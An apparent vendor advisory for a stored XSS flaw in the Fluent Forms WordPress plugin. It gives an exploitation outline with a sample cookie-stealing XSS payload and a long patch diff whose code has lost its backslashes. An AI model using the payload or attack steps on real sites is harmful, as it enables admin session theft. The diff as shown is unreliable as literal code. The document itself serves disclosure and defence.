Published : August 12, 2026

CVE-2026-18146: Fluent Forms <= 6.2.11 Unauthenticated Stored Cross-Site Scripting via Notification Smartcode Values PoC, Patch Analysis & Rule

Plugin fluentform
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 6.2.11
Patched Version 6.2.12
Disclosed August 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18146: Fluent Forms <= 6.2.11 is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) via Notification Smartcode Values. The vulnerability exists in the notification system of the Fluent Forms plugin for WordPress, where attacker-controlled smartcode values are not properly sanitized before being rendered in the submission logs. This allows unauthenticated attackers to inject arbitrary web scripts that execute when an administrator or any user with entry-viewing capability views the logs. The CVSS score is 7.2, indicating high severity due to the stored nature of the attack and the privileged context in which it executes.

The root cause of this vulnerability is the lack of adequate sanitization and output escaping on notification smartcode values. Specifically, the `input_password` field, cookie values, and the `submission.response` smartcode are used within email notifications configured by administrators. When Fluent Forms renders the submission logs, it echoes these smartcode values without proper context-aware escaping, allowing stored XSS payloads to persist in the log entries. The vulnerability is triggered when the `submission.response` smartcode is set as the value of an email notification's subject or Send To field. The attacker's input, which can be a malicious script string, is then stored in the database and later rendered as part of the admin interface's submission logs.

Exploitation does not require authentication, making it available to any remote attacker capable of submitting forms. An attacker would first need to identify a form configured by an administrator to use the vulnerable smartcode in its notifications. The attacker then submits a form or manipulates a field, such as using a payload like `alert(document.cookie)` in an `input_password` field or through a crafted cookie value. This malicious string becomes the value of the smartcode. When the administrator views the form’s entry submission logs in the WordPress admin dashboard, the stored payload executes within the administrator’s browser, leading to potential account takeover, data theft, or other malicious actions.

The provided diff includes multiple security fixes beyond just the smartcode XSS issue, addressing various other vulnerabilities in the plugin. Among these, the patch adds an output-safety layer in `fluentform/app/Hooks/actions.php` for entry notes by sanitizing the `$note` variable with `sanitize_text_field()` and `wp_unslash()` functions. This is a critical part of the patch for this issue, as it ensures that any string content is stripped of malicious scripts before being stored. The patch thus mitigates the root cause by properly sanitizing the values before they persist and are later displayed.

The impact of this vulnerability is high. Exploitation results in Stored Cross-Site Scripting, which executes in the context of an administrator’s session within the WordPress admin dashboard. An attacker can achieve privilege escalation by creating new admin accounts, inject backdoors into the site, or exfiltrate sensitive data. The unauthenticated nature of the attack vector lowers the skill barrier for attackers, increasing the risk of widespread exploitation against sites using the affected plugin versions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/fluentform/app/Helpers/Helper.php
+++ b/fluentform/app/Helpers/Helper.php
@@ -244,7 +244,9 @@

         $statuses = apply_filters('fluentform/entry_statuses_core', $statuses, $form_id);

-        $statuses['trashed'] = 'Trashed';
+        $statuses['spam'] = __('Spam', 'fluentform');
+
+        $statuses['trashed'] = __('Trashed', 'fluentform');

         return $statuses;
     }
@@ -987,7 +989,7 @@

     public static function sanitizeForCSV($content)
     {
-        $formulas = ['=', '-', '+', '@', "t", "r"];
+        $formulas = ['=', '-', '+', '@', "t", "r", "n"];

         $formulas = apply_filters('fluentform/csv_sanitize_formulas', $formulas);

@@ -1349,7 +1351,7 @@
                     $fieldData = ArrayHelper::get($field, 'raw');
                     $data = (new SelectCountry())->loadCountries($fieldData);
                     $validCountries = ArrayHelper::get($fieldData, 'settings.country_list.priority_based', []);
-                    $validCountries = array_merge($validCountries, array_keys(ArrayHelper::get($data, 'options')));
+                    $validCountries = array_merge($validCountries, array_keys((array) ArrayHelper::get($data, 'options', [])));
                     $isValid = in_array($inputValue, $validCountries);
                     break;
                 case 'repeater_field':
@@ -1608,8 +1610,15 @@
         return home_url($args);
     }

-    public static function getCountryCodeFromHeaders()
+    public static function getCountryCodeFromHeaders($forRestriction = false)
     {
+        // SECURITY (FINDING-26): CDN country headers are client-spoofable. Trust them for analytics
+        // storage (spoof is cosmetic) but not for restriction enforcement (spoof = bypass). Filterable.
+        $trustHeaders = apply_filters('fluentform/trust_geo_headers', !$forRestriction);
+        if (!$trustHeaders) {
+            return null;
+        }
+
         $headers = [
             // Cloudflare (most common)
             'HTTP_CF_IPCOUNTRY',
--- a/fluentform/app/Hooks/Ajax.php
+++ b/fluentform/app/Hooks/Ajax.php
@@ -35,17 +35,17 @@
         $data['form_id'] = $formId;
         $isValidJson = (!empty($data['formFields'])) && json_decode($data['formFields'], true);

-        if(!$isValidJson) {
+        if (!$isValidJson) {
             wp_send_json([
                 'message' => 'Looks like the provided JSON is invalid. Please try again or contact support',
-                'reason' => 'formFields JSON validation failed'
+                'reason' => 'formFields JSON validation failed',
             ], 422);
         }

         $formService = new FluentFormAppServicesFormFormService();
         $form = $formService->update($data);
         wp_send_json([
-            'message' => __('The form is successfully updated.', 'fluentform')
+            'message' => __('The form is successfully updated.', 'fluentform'),
         ], 200);
     } catch (Exception $exception) {
         wp_send_json([
@@ -144,8 +144,14 @@
     }
 });

-$app->addAction('wp_ajax_fluentform-get-users', function () use ($app) {
-    Acl::verify('fluentform_entries_viewer');
+$app->addAction('wp_ajax_fluentform-get-users', function () use ($app, $resolveSubmissionFormId) {
+    $submissionId = absint($app->request->get('submission_id'));
+    $formId = Acl::verifyFormId(
+        $resolveSubmissionFormId($submissionId),
+        'Invalid submission id.'
+    );
+
+    Acl::verify('fluentform_manage_entries', $formId);
     $search = sanitize_text_field($app->request->get('search'));
     $users = get_users([
         'search' => "*{$search}*",
@@ -241,7 +247,7 @@
             'error' => 'You do not have permission to do this',
         ], 403);
     }
-
+
     wp_send_json([
         'nonce' => wp_create_nonce('wp_rest'),
     ], 200);
--- a/fluentform/app/Hooks/actions.php
+++ b/fluentform/app/Hooks/actions.php
@@ -163,6 +163,7 @@
         FluentFormAppModulesRegistererReviewQuery::register();
         FluentFormAppModulesRegistererMigrationNotice::register();
         FluentFormAppModulesRegistererStripeKeyNotice::register();
+        FluentFormAppModulesRegistererCaptchaKeyNotice::register();
     }
 });

@@ -969,6 +970,18 @@
     $tokenBasedSpamProtection->verify($insertData, $requestData, $form->id);
 }, 9, 3);

+// The token-based spam check (FINDING-25) enforces on conversational forms too, but its ~1h TTL
+// token cannot be refreshed by the conversational JS app — it bakes hidden inputs statically at
+// render, so behind a full-page cache the token expires and rejects every legitimate submission.
+// Disable ONLY the token for conversational forms, resolved from server-side form meta (never the
+// client-supplied isFFConversational flag, which was the original bypass). The honeypot still applies.
+$app->addFilter('fluentform/token_based_spam_protection_status', function ($status, $formId) {
+    if ($status && FluentFormAppHelpersHelper::isConversionForm($formId)) {
+        return false;
+    }
+    return $status;
+}, 10, 2);
+
 // Maybe update current user allowed form ids,
 // if current user has specific form permission and capable to create form
 $app->addAction('fluentform/inserted_new_form', function ($formId) {
@@ -1039,6 +1052,10 @@
         $note = $status;
     }

+    $note = is_scalar($note)
+        ? sanitize_text_field(wp_unslash((string) $note))
+        : sanitize_text_field((string) wp_json_encode($note));
+
     if (strlen($note) > 255) {
         if (function_exists('mb_substr')) {
             $note = mb_substr($note, 0, 251) . '...';
@@ -1070,6 +1087,10 @@
         $note = $status;
     }

+    $note = is_scalar($note)
+        ? sanitize_text_field(wp_unslash((string) $note))
+        : sanitize_text_field((string) wp_json_encode($note));
+
     if (strlen($note) > 255) {
         if (function_exists('mb_substr')) {
             $note = mb_substr($note, 0, 251) . '...';
--- a/fluentform/app/Hooks/filters.php
+++ b/fluentform/app/Hooks/filters.php
@@ -133,22 +133,25 @@
     if (!isset($captcha)) {
         return $form;
     }
-    // place recaptcha below custom submit button
+    // place captcha below custom submit button
+    $formFields = $form->fields;
     $hasCustomSubmit = false;
-    foreach ($form->fields['fields'] as $index => $field) {
+    foreach ($formFields['fields'] as $index => $field) {
         if (in_array($field['element'], ['recaptcha', 'hcaptcha', 'turnstile'])) {
-            FluentFormFrameworkHelpersArrayHelper::forget($form->fields['fields'], $index);
+            FluentFormFrameworkHelpersArrayHelper::forget($formFields['fields'], $index);
         }
         if ('custom_submit_button' == $field['element']) {
             $hasCustomSubmit = true;
-            array_splice($form->fields['fields'], $index, 0, [$captcha]);
+            array_splice($formFields['fields'], $index, 0, [$captcha]);
             break;
         }
     }
     if (!$hasCustomSubmit) {
-        $form->fields['fields'][] = $captcha;
+        $formFields['fields'][] = $captcha;
     }

+    $form->fields = $formFields;
+
     return $form;
 }, 10, 1);

@@ -382,12 +385,12 @@
                         'status' => false,
                         'values' => [],
                         'message' => __('Sorry! You can't submit a form the country you are residing.', 'fluentform'),
-                        'validation_type' => 'fail_on_condition_met'
+                        'validation_type' => 'fail_on_condition_met',
                     ],
                     'keywords' => [
                         'status' => false,
                         'values' => '',
-                        'message' => __('Sorry! Your submission contains some restricted keywords.', 'fluentform')
+                        'message' => __('Sorry! Your submission contains some restricted keywords.', 'fluentform'),
                     ],
                 ]
             ];
--- a/fluentform/app/Http/Controllers/FormIntegrationController.php
+++ b/fluentform/app/Http/Controllers/FormIntegrationController.php
@@ -2,6 +2,7 @@

 namespace FluentFormAppHttpControllers;

+use FluentFormAppModulesAclAcl;
 use FluentFormAppServicesIntegrationsFormIntegrationService;

 class FormIntegrationController extends Controller
@@ -10,6 +11,14 @@
     {
         try {
             $formId = (int) $formId;
+            // SECURITY (FINDING-09): returns full integration feed configurations (webhook
+            // URLs, headers, credential-like fields). The shared `index` method name resolved
+            // to FormPolicy@index (dashboard_access); require forms-manager on this form.
+            if (!Acl::hasPermission('fluentform_forms_manager', $formId)) {
+                return $this->sendError([
+                    'message' => __('You do not have permission to view these integrations.', 'fluentform'),
+                ], 403);
+            }
             return $this->sendSuccess(
                 $integrationService->get($formId)
             );
--- a/fluentform/app/Http/Controllers/FormSettingsController.php
+++ b/fluentform/app/Http/Controllers/FormSettingsController.php
@@ -3,6 +3,7 @@
 namespace FluentFormAppHttpControllers;

 use Exception;
+use FluentFormAppModulesAclAcl;
 use FluentFormAppServicesSettingsCustomizer;
 use FluentFormAppServicesSettingsSettingsService;
 use FluentFormFrameworkValidatorValidationException;
@@ -12,8 +13,21 @@
 {
     public function index(SettingsService $settingsService, $formId)
     {
+        $formId = (int) $formId;
+
+        // SECURITY (FINDING-09): this endpoint returns arbitrary form_meta by meta_key —
+        // including integration feeds that hold webhook Authorization headers/credentials.
+        // Because the method name collides with the forms-list controller, it resolved to
+        // FormPolicy@index (fluentform_dashboard_access, the lowest tier). Require the
+        // forms-manager capability, scoped to this form, to read its settings/meta.
+        if (!Acl::hasPermission('fluentform_forms_manager', $formId)) {
+            return $this->sendError([
+                'message' => __('You do not have permission to view these settings.', 'fluentform'),
+            ], 403);
+        }
+
         $attributes = $this->request->all();
-        $attributes['form_id'] = (int) $formId;
+        $attributes['form_id'] = $formId;

         $result = $settingsService->get($attributes);

--- a/fluentform/app/Http/Controllers/GlobalIntegrationController.php
+++ b/fluentform/app/Http/Controllers/GlobalIntegrationController.php
@@ -39,6 +39,11 @@
             $settingsKey = sanitize_text_field($this->request->get('settings_key'));
             $integration = wp_unslash($this->request->get('integration'));

+            // SECURITY (FINDING-16): connected credentials are redacted on read; restore any field
+            // the browser posted back still masked so a re-save (e.g. "Verify Connection Again")
+            // cannot overwrite a live credential with the '********' mask.
+            $integration = (new GlobalIntegrationService())->unmaskCredentials($settingsKey, $integration);
+
             do_action_deprecated(
                 'fluentform_save_global_integration_settings_' . $settingsKey,
                 [
--- a/fluentform/app/Http/Controllers/McpSettingsController.php
+++ b/fluentform/app/Http/Controllers/McpSettingsController.php
@@ -0,0 +1,301 @@
+<?php
+
+namespace FluentFormAppHttpControllers;
+
+use FluentFormAppModulesMCPAbilitiesRegistrar;
+use FluentFormAppModulesMCPMCPInit;
+use FluentFormAppModulesMCPSupportPermissionGate;
+
+/**
+ * Backend for the FluentForm → Settings → MCP card.
+ *
+ * The MCP feature stores its on/off state in the dedicated, autoloaded
+ * _fluentform_mcp_settings option (PermissionGate::isEnabled/setEnabled). This
+ * controller owns the status / toggle / connection-snippet endpoints; the toggle
+ * is instant rather than riding the generic global-settings save.
+ */
+class McpSettingsController extends Controller
+{
+    const TOOLKIT_PLUGIN_FILE = 'fluent-toolkit/fluent-toolkit.php';
+
+    const ADAPTER_PLUGIN_FILE = 'mcp-adapter/mcp-adapter.php';
+
+    const TOOLKIT_DOWNLOAD_URL = 'https://github.com/WPManageNinja/fluent-toolkit';
+
+    public function status()
+    {
+        // The route policy only asks for fluentform_settings_manager, but every
+        // control this payload drives is manage_options-only — and it discloses
+        // the endpoint URL and the full tool catalogue. Match the toggle's bar.
+        if (!current_user_can('manage_options')) {
+            return $this->sendError([
+                'message' => __('Sorry, you do not have permission to view the MCP settings.', 'fluentform'),
+            ]);
+        }
+
+        $user = wp_get_current_user();
+
+        // Count the same catalogue the card lists; MCPInit::toolsCount() applies
+        // the Pro ability-names filter and would drift from the visible list.
+        // Count only actually-available tools — the greyed Pro teasers are not.
+        $tools = AbilitiesRegistrar::catalogue();
+        $availableCount = count(array_filter($tools, function ($tool) {
+            return !isset($tool['available']) || $tool['available'];
+        }));
+
+        return $this->sendSuccess([
+            'mcp_enabled'           => PermissionGate::isEnabled(),
+            'adapter_available'    => MCPInit::adapterAvailable(),
+            'adapter_installed'    => $this->isToolkitInstalled() || $this->isPluginInstalled(self::ADAPTER_PLUGIN_FILE),
+            'toolkit_installed'    => $this->isToolkitInstalled(),
+            'can_auto_install'     => (bool) apply_filters('fluent_toolkit/can_auto_install', false),
+            'toolkit_download_url' => self::TOOLKIT_DOWNLOAD_URL,
+            'endpoint_url'         => MCPInit::getEndpointUrl(),
+            'tools_count'          => $availableCount,
+            'tools'                => $tools,
+            'app_passwords_url'    => admin_url('profile.php#application-passwords-section'),
+            'plugins_url'          => admin_url('plugins.php'),
+            'current_user_login'   => ($user && $user->exists()) ? $user->user_login : '',
+            'is_local_dev'         => $this->isLocalDev(),
+        ]);
+    }
+
+    public function toggle()
+    {
+        if (!current_user_can('manage_options')) {
+            return $this->sendError([
+                'message' => __('Sorry, you do not have permission to change the MCP setting.', 'fluentform'),
+            ]);
+        }
+
+        $value   = $this->request->get('mcp_enabled');
+        $enabled = is_string($value) ? in_array(strtolower($value), ['yes', 'true', '1', 'on'], true) : (bool) $value;
+
+        PermissionGate::setEnabled($enabled);
+
+        $stored = PermissionGate::isEnabled();
+
+        return $this->sendSuccess([
+            'mcp_enabled' => $stored,
+            'message'     => $stored
+                ? __('MCP enabled. AI agents with a valid application password can now reach the FluentForm tools.', 'fluentform')
+                : __('MCP disabled. The endpoint will reject requests until re-enabled.', 'fluentform'),
+        ]);
+    }
+
+    public function installAdapter()
+    {
+        // Match the toggle's bar: enabling MCP and installing its adapter are
+        // both admin-only, so require manage_options in addition to the
+        // plugin-install capability.
+        if (!current_user_can('manage_options') || !current_user_can('install_plugins')) {
+            return $this->sendError([
+                'message' => __('Sorry, you do not have permission to install plugins.', 'fluentform'),
+            ]);
+        }
+
+        $canAutoInstall = (bool) apply_filters('fluent_toolkit/can_auto_install', false);
+        if (!$canAutoInstall) {
+            return $this->sendError([
+                'message'              => __('Automatic install needs a Fluent Pro plugin. Install FluentHub / Fluent Toolkit manually, then reload this page to connect FluentForm with AI agents.', 'fluentform'),
+                'toolkit_download_url' => self::TOOLKIT_DOWNLOAD_URL,
+            ]);
+        }
+
+        do_action('fluent_toolkit/do_auto_install');
+
+        wp_clean_plugins_cache();
+
+        $available = MCPInit::adapterAvailable();
+
+        return $this->sendSuccess([
+            'adapter_available' => $available,
+            'toolkit_installed' => $this->isToolkitInstalled(),
+            'message'           => $available
+                ? __('Adapter installed and activated. The MCP endpoint is ready.', 'fluentform')
+                : __('Adapter installed. Please reload this page to finish connecting the MCP endpoint.', 'fluentform'),
+        ]);
+    }
+
+    /**
+     * Connection snippets for every supported client. Credentials are never sent:
+     * each snippet carries placeholders the browser fills in, so an application
+     * password never round-trips through the server.
+     */
+    public function getConfigSnippets()
+    {
+        if (!current_user_can('manage_options')) {
+            return $this->sendError([
+                'message' => __('Sorry, you do not have permission to view the MCP connection details.', 'fluentform'),
+            ]);
+        }
+
+        $endpoint = MCPInit::getEndpointUrl();
+
+        // Determined server-side only. This flag decides whether the Claude
+        // Desktop snippet disables TLS certificate validation, so a caller must
+        // not be able to ask for it — a request parameter here meant a snippet
+        // that skips certificate checks could be produced on a production host.
+        $isLocalDev = $this->isLocalDev();
+
+        $clients  = ['claude-code', 'claude-desktop', 'cursor', 'codex', 'generic'];
+        $snippets = [];
+        foreach ($clients as $client) {
+            $snippets[$client] = $this->buildSnippet($client, $endpoint, $isLocalDev);
+        }
+
+        return $this->sendSuccess([
+            'snippets'          => $snippets,
+            'endpoint'          => $endpoint,
+            'app_passwords_url' => admin_url('profile.php#application-passwords-section'),
+            'is_local_dev'      => $isLocalDev,
+        ]);
+    }
+
+    private function isToolkitInstalled()
+    {
+        if (defined('FLUENT_TOOLKIT_VERSION')) {
+            return true;
+        }
+
+        return $this->isPluginInstalled(self::TOOLKIT_PLUGIN_FILE);
+    }
+
+    private function isPluginInstalled($pluginFile)
+    {
+        if (!function_exists('get_plugins')) {
+            require_once ABSPATH . 'wp-admin/includes/plugin.php';
+        }
+
+        $plugins = get_plugins();
+
+        return isset($plugins[$pluginFile]);
+    }
+
+    private function buildSnippet($client, $endpoint, $isLocalDev)
+    {
+        $basic = '<base64(your-username:application-password)>';
+        $user  = '<your-username>';
+        $pass  = '<your-application-password>';
+
+        switch ($client) {
+            case 'claude-desktop':
+                $env = [
+                    'WP_API_URL'      => $endpoint,
+                    'WP_API_USERNAME' => $user,
+                    'WP_API_PASSWORD' => $pass,
+                    'OAUTH_ENABLED'   => 'false',
+                ];
+                // Local installs typically run behind a self-signed certificate
+                // that Node rejects outright. Only ever emitted for a host this
+                // server itself recognises as local, and always with the warning
+                // below attached so nobody copies it onto a live site.
+                if ($isLocalDev) {
+                    $env['NODE_TLS_REJECT_UNAUTHORIZED'] = '0';
+                }
+                $snippet = wp_json_encode([
+                    'mcpServers' => [
+                        'fluentform' => [
+                            'command' => 'npx',
+                            'args'    => ['-y', '@automattic/mcp-wordpress-remote@latest'],
+                            'env'     => $env,
+                        ],
+                    ],
+                ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
+                $instructions = __('Add this to your Claude Desktop config (Settings → Developer → Edit Config), fill in your username + application password, then restart Claude Desktop.', 'fluentform');
+                if ($isLocalDev) {
+                    $instructions .= ' ' . __('This site looks like a local development install, so the snippet sets NODE_TLS_REJECT_UNAUTHORIZED=0 to accept its self-signed certificate. That disables TLS verification for the client — remove that line before using this config against any site reachable over the internet.', 'fluentform');
+                }
+                break;
+
+            case 'cursor':
+                $snippet = wp_json_encode([
+                    'mcpServers' => [
+                        'fluentform' => [
+                            'url'     => $endpoint,
+                            'type'    => 'http',
+                            'headers' => ['Authorization' => 'Basic ' . $basic],
+                        ],
+                    ],
+                ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
+                $instructions = __('Fill your username and application password above — the base64 Authorization header is generated for you — then add this to Cursor’s mcp.json.', 'fluentform');
+                break;
+
+            case 'codex':
+                $snippet = "Settings → Connect to a custom MCPnn"
+                    . "Name:       fluentformn"
+                    . "Transport:  Streamable HTTPn"
+                    . "URL:        {$endpoint}nn"
+                    . "Header:n  Key:    Authorizationn  Value:  Basic {$basic}";
+                $instructions = __('In Codex, add a custom MCP server with Streamable HTTP transport and the Authorization header above.', 'fluentform');
+                break;
+
+            case 'generic':
+                $snippet = "URL:   {$endpoint}n"
+                    . "Auth:  Authorization: Basic {$basic}nn"
+                    . "# Quick test (curl base64-encodes for you):n"
+                    . "curl -s -u '{$user}:{$pass}' \n"
+                    . "  -X POST {$endpoint} \n"
+                    . "  -H 'Content-Type: application/json' \n"
+                    . "  -H 'Accept: application/json, text/event-stream' \n"
+                    . '  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"c","version":"1.0"}}}'';
+                $instructions = __('Any MCP client that speaks Streamable HTTP can connect using this URL and a Basic auth header.', 'fluentform');
+                break;
+
+            case 'claude-code':
+            default:
+                $client  = 'claude-code';
+                $snippet = "claude mcp add \n"
+                    . "  --transport http \n"
+                    . "  fluentform {$endpoint} \n"
+                    . "  --header "Authorization: Basic {$basic}"";
+                $instructions = __('Fill your username and application password above — the base64 Authorization header is generated for you — then run this in the terminal where Claude Code is installed.', 'fluentform');
+                break;
+        }
+
+        // The browser fills credential placeholders into this template; it must
+        // escape them for the snippet's syntax (JSON string vs single-quoted shell
+        // arg). Declaring the format here keeps that contract on one side.
+        $jsonClients  = ['claude-desktop', 'cursor'];
+        $shellClients = ['generic', 'claude-code'];
+        if (in_array($client, $jsonClients, true)) {
+            $format = 'json';
+        } elseif (in_array($client, $shellClients, true)) {
+            $format = 'shell';
+        } else {
+            $format = 'text';
+        }
+
+        return [
+            'client'       => $client,
+            'snippet'      => $snippet,
+            'instructions' => $instructions,
+            'format'       => $format,
+        ];
+    }
+
+    private function isLocalDev()
+    {
+        $host = '';
+        $home = home_url();
+        if ($home) {
+            $parsed = wp_parse_url($home, PHP_URL_HOST);
+            $host   = $parsed ? strtolower($parsed) : '';
+        }
+
+        $isLocal = false;
+        if ($host) {
+            foreach (['.test', '.local', '.localhost', '.lab'] as $tld) {
+                if (substr($host, -strlen($tld)) === $tld) {
+                    $isLocal = true;
+                    break;
+                }
+            }
+            if (!$isLocal && in_array($host, ['localhost', '127.0.0.1', '::1'], true)) {
+                $isLocal = true;
+            }
+        }
+
+        return (bool) apply_filters('fluentform/mcp_is_local_dev', $isLocal, $host);
+    }
+}
--- a/fluentform/app/Http/Controllers/SubmissionController.php
+++ b/fluentform/app/Http/Controllers/SubmissionController.php
@@ -4,6 +4,7 @@

 use Exception;
 use FluentFormAppModelsSubmission;
+use FluentFormAppModulesAclAcl;
 use FluentFormAppServicesSubmissionSubmissionService;
 use FluentFormFrameworkSupportArr;

@@ -41,12 +42,24 @@
     {
         try {
             $attributes = $this->request->all();
-
+
             $sanitizeMap = [
                 'form_id' => 'intval',
             ];
             $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
-
+
+            // SECURITY (FINDING-02): this route has no {entry_id} placeholder, so SubmissionPolicy
+            // authorizes the form owning the *request* entry_id, while resources() then reads a
+            // separate form_id — letting a form-scoped user read another form's counts/labels/
+            // fields and (via next/previous) submission rows. Re-verify the caller may view
+            // entries of the form actually being queried.
+            $formId = (int) Arr::get($attributes, 'form_id');
+            if (!$formId || !Acl::hasPermission('fluentform_entries_viewer', $formId)) {
+                return $this->sendError([
+                    'message' => __('You do not have permission to view this form's entries.', 'fluentform'),
+                ], 403);
+            }
+
             return $this->sendSuccess(
                 $submissionService->resources($attributes)
             );
@@ -57,10 +70,12 @@
         }
     }

-    public function updateStatus(SubmissionService $submissionService)
+    public function updateStatus(SubmissionService $submissionService, $submissionId)
     {
         try {
-            $status = $submissionService->updateStatus($this->request->all());
+            $attributes = $this->request->all();
+            $attributes['entry_id'] = intval($submissionId);
+            $status = $submissionService->updateStatus($attributes);

             /* translators: %s is the submission status */
             $message = sprintf(__('The submission has been marked as %s', 'fluentform'), $status);
@@ -76,11 +91,11 @@
         }
     }

-    public function toggleIsFavorite(SubmissionService $submissionService)
+    public function toggleIsFavorite(SubmissionService $submissionService, $submissionId)
     {
         try {
             [$message, $isFavourite] = $submissionService->toggleIsFavorite(
-                $this->request->get('entry_id')
+                intval($submissionId)
             );

             return $this->sendSuccess([
@@ -106,7 +121,7 @@
             ]);
         }
     }
-
+
     public function remove(SubmissionService $submissionService, $submissionId)
     {
         try {
@@ -124,19 +139,27 @@
             ]);
         }
     }
-
+
     /**
      * Get user list for submission page
+     *
      * @return WP_REST_Response
      */
     public function submissionUsers()
     {
+        // SECURITY (FINDING-21): don't let a lower-tier user enumerate the whole WP roster here.
+        // Require WP's list_users OR the FF entries-manager permission this feature is built for —
+        // a delegated non-admin manager holds fluentform_manage_entries (and the assign-user UI is
+        // shown only to them) but NOT core list_users, so gating on list_users alone broke them.
+        if (!current_user_can('list_users') && !current_user_can('fluentform_manage_entries')) {
+            return $this->sendError(['message' => __('You do not have permission to list users.', 'fluentform')], 403);
+        }
         $search = sanitize_text_field($this->request->get('search'));
         $users = get_users([
             'search' => "*{$search}*",
             'number' => 50,
         ]);
-
+
         $formattedUsers = [];
         foreach ($users as $user) {
             $formattedUsers[] = [
@@ -144,7 +167,7 @@
                 'label' => $user->display_name . ' - ' . $user->user_email,
             ];
         }
-
+
         return $this->sendSuccess([
             'users' => $formattedUsers,
         ]);
@@ -152,16 +175,16 @@

     /**
      * Update User of a submission
+     *
      * @param SubmissionService $submissionService
+     * @param int $submissionId
      * @return WP_REST_Response
      */
-    public function updateSubmissionUser(SubmissionService $submissionService)
+    public function updateSubmissionUser(SubmissionService $submissionService, $submissionId)
     {
         try {
             $userId = intval($this->request->get('user_id'));
-            // Use entry_id from route parameter — not submission_id from body —
-            // to ensure authorization target matches the mutation target.
-            $submissionId = intval($this->request->get('entry_id'));
+            $submissionId = intval($submissionId);
             $response = $submissionService->updateSubmissionUser($userId, $submissionId);
             return $this->sendSuccess($response);
         } catch (Exception $e) {
@@ -170,9 +193,10 @@
             ]);
         }
     }
-
+
     /**
      * Get All Submissions
+     *
      * @param Submission $submission
      * @return WP_REST_Response
      */
@@ -192,6 +216,7 @@
     }
     /**
      * Get printable content
+     *
      * @param SubmissionService $submissionService
      * @return WP_REST_Response
      */
@@ -199,9 +224,9 @@
     {
         try {
             $attributes = $this->request->all();
-
+
             $sanitizeMap = [
-                'submission_ids' => function($value) {
+                'submission_ids' => function ($value) {
                     if (is_array($value)) {
                         return array_map('intval', $value);
                     }
@@ -219,13 +244,13 @@
                     ? array_map('intval', $entryIds)
                     : [];
             }
-
+
             return $this->sendSuccess(
                 $submissionService->getPrintContent($attributes)
             );
         } catch (Exception $e) {
             return $this->sendError([
-                'message' => $e->getMessage()
+                'message' => $e->getMessage(),
             ]);
         }
     }
--- a/fluentform/app/Http/Policies/ReportPolicy.php
+++ b/fluentform/app/Http/Policies/ReportPolicy.php
@@ -56,6 +56,29 @@
         return !$userId || !FormManagerService::hasSpecificFormsPermission($userId);
     }

+    private function canAccessPaymentReport(Request $request)
+    {
+        // Payment/revenue/subscription data requires the dedicated, form-scoped
+        // payment-view capability — the entry-view capability must not authorize
+        // financial aggregates.
+        $formId = $this->resolveFormId($request);
+
+        if ($formId) {
+            return Acl::hasPermission('fluentform_view_payments', $formId);
+        }
+
+        if (!Acl::hasPermission('fluentform_view_payments')) {
+            return false;
+        }
+
+        // A specific-forms manager must NOT read the all-forms (form_id 0)
+        // payment view — otherwise the per-form scope is bypassed by loading the
+        // aggregate revenue/subscription report. Mirrors canAccessOptionalFormScopedReport.
+        $userId = get_current_user_id();
+
+        return !$userId || !FormManagerService::hasSpecificFormsPermission($userId);
+    }
+
     /**
      * Check permission for any method
      *
@@ -84,7 +107,7 @@

     public function getRevenueChart(Request $request)
     {
-        return $this->canAccessRequestedForm($request);
+        return $this->canAccessPaymentReport($request);
     }

     public function getFormStats(Request $request)
@@ -99,7 +122,7 @@

     public function getPaymentTypes(Request $request)
     {
-        return $this->canAccessRequestedForm($request);
+        return $this->canAccessPaymentReport($request);
     }

     public function getCompletionRate(Request $request)
@@ -124,7 +147,7 @@

     public function getSubscriptions(Request $request)
     {
-        return $this->canAccessOptionalFormScopedReport($request);
+        return $this->canAccessPaymentReport($request);
     }

     public function getFormsDropdown(Request $request)
@@ -134,7 +157,7 @@

     public function netRevenue(Request $request)
     {
-        return $this->canAccessOptionalFormScopedReport($request);
+        return $this->canAccessPaymentReport($request);
     }

     public function submissionsAnalysis(Request $request)
--- a/fluentform/app/Http/Policies/SubmissionPolicy.php
+++ b/fluentform/app/Http/Policies/SubmissionPolicy.php
@@ -61,6 +61,11 @@
         return Acl::hasPermission('fluentform_manage_entries', $formId);
     }

+    public function submissionUsers(Request $request)
+    {
+        return $this->updateSubmissionUser($request);
+    }
+
     /**
      * Resolve the form_id for authorization.
      *
--- a/fluentform/app/Http/Routes/api.php
+++ b/fluentform/app/Http/Routes/api.php
@@ -1,8 +1,10 @@
 <?php

-defined('ABSPATH') or die;
+defined('ABSPATH') || exit;

 /**
+ * REST API route definitions.
+ *
  * @var $router FluentFormFrameworkHttpRouter
  */

@@ -67,7 +69,7 @@

     $router->prefix('{entry_id}')->group(function ($router) {
         $router->get('/', 'SubmissionController@find');
-
+
         $router->post('status', 'SubmissionController@updateStatus');
         $router->post('is-favorite', 'SubmissionController@toggleIsFavorite');

@@ -76,9 +78,9 @@

         $router->get('notes', 'SubmissionNoteController@get');
         $router->post('notes', 'SubmissionNoteController@store');
-
-        $router->get('submission-users','SubmissionController@submissionUsers');
-        $router->post('update-submission-user','SubmissionController@updateSubmissionUser');
+
+        $router->get('submission-users', 'SubmissionController@submissionUsers');
+        $router->post('update-submission-user', 'SubmissionController@updateSubmissionUser');
     });
 });

@@ -97,7 +99,7 @@
     $router->get('/', 'GlobalIntegrationController@index')->withPolicy('GlobalIntegrationPolicy');
     $router->post('/', 'GlobalIntegrationController@updateIntegration')->withPolicy('GlobalIntegrationPolicy');
     $router->post('update-status', 'GlobalIntegrationController@updateModuleStatus')->withPolicy('GlobalIntegrationPolicy');
-
+
     /*
     * Form Integrations
     */
@@ -106,7 +108,7 @@
         $router->get('/', 'FormIntegrationController@find');
         $router->post('/', 'FormIntegrationController@update');
         $router->delete('/', 'FormIntegrationController@delete');
-
+
         $router->get('/integration-list-id', 'FormIntegrationController@integrationListComponent');
     });
 });
@@ -118,6 +120,15 @@
     $router->post('/', 'GlobalSettingsController@store');
 });
 /*
+* MCP (Model Context Protocol) Settings
+*/
+$router->prefix('mcp')->withPolicy('GlobalSettingsPolicy')->group(function ($router) {
